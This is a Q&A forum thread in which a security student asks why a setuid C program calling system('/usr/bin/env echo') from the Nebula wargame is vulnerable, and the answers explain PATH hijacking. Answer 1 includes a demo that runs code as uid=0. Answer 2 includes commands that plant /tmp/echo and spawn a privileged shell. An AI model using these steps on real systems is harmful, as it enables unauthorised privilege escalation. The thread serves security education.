What is vulnerable about this C code?

Question

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
    gid_t gid;
    uid_t uid;
    gid = getegid();
    uid = geteuid();

    setresgid(gid, gid, gid);
    setresuid(uid, uid, uid);

    system("/usr/bin/env echo and now what?");

}

The way I understand it, the code above allows arbitrary code (or program) execution — what makes this vulnerable, and how does one take advantage of this?

Sech

Why do you believe this allows arbitrary code execution? – Lais

well, to be honest I am taking it on blind faith. I am a security student, I was looking at vulnerable code, and I saw this, it says in the book that it does, however it doesn't explain this particular example. – Sech

Perhaps you refer to the system call? Not an expert on this, but that's the only thing that is remotely weird looking to me. No buffer overruns or anything like that. – Godard

I thought the system call also, I didn't notice any buffer overflows either – Sech

@quantumdisaster: Which book is this? – Lais

Might have come from here: exploit-exercises.com/nebula/level01 – Co

Answer 1

You can override the PATH variable to point to a directory with your custom version of echo and since echo is executed using env, it isn't treated as a built-in.

This constitues a vulnerability only if the code is run as privileged user.

In the example below file v.c contains the code from the question.

$ cat echo.c
#include <stdio.h>
#include <unistd.h>

int main() {
  printf("Code run as uid=%d\n", getuid());
}
$ cc -o echo echo.c
$ cc -o v v.c
$ sudo chown root v
$ sudo chmod +s v
$ ls -l
total 64
-rwxr-xr-x  1 user     group  8752 Nov 29 01:55 echo
-rw-r--r--  1 user     group    99 Nov 29 01:54 echo.c
-rwsr-sr-x  1 root     group  8896 Nov 29 01:55 v
-rw-r--r--  1 user     group   279 Nov 29 01:55 v.c
$ ./v
and now what?
$ export PATH=.:$PATH
$ ./v
Code run as uid=0
$ 

Note that the setting of real user ID, effective user ID and saved set-user-ID by a call to setresuid() before the call to system() in the vulnerable code posted in the question allows one to exploit the vulnerability even when only effective user ID is set to a privileged user ID and real user ID remains unprivileged (as is for example the case when relying on set-user-ID bit on a file as above). Without the call to setresuid() the shell run by system() would reset the effective user ID back to the real user ID making the exploit ineffective. However, in the case when the vulnerable code is run with real user ID of a privileged user, system() call alone is enough. Quoting sh man page:

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS variable, if it appears in the environment, is ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

Also, note that setresuid() isn't portable, but setuid() or setreuid() may also be used to the same effect.

Copalm

Just curious ... how does the PATH come into this? I would have thought since the full path to "env" is being specified, the PATH would not be searched. Of course, if someone had permissions to put a nasty program at /usr/bin/env, then there would be trouble. – Guillemette

env searches PATH to find echo. – Trussing

Can you actually override the environment if the program is run as SUID root? – Conjure

@KerrekSB: execvpe, for example, allows you to explicitly set the environment that the application runs in. Now env itself is designed to modify the environment, so I'm not sure how that would impact this though. – Cuneal

Answer 2

well actually on the system function call you can mess with the echo command. for example if you execute the following code :

echo "/bin/bash" > /tmp/echo
chmod 777 /tmp/echo && export PATH=/tmp:$PATH

you will get a shell with the file owner permission

Snowman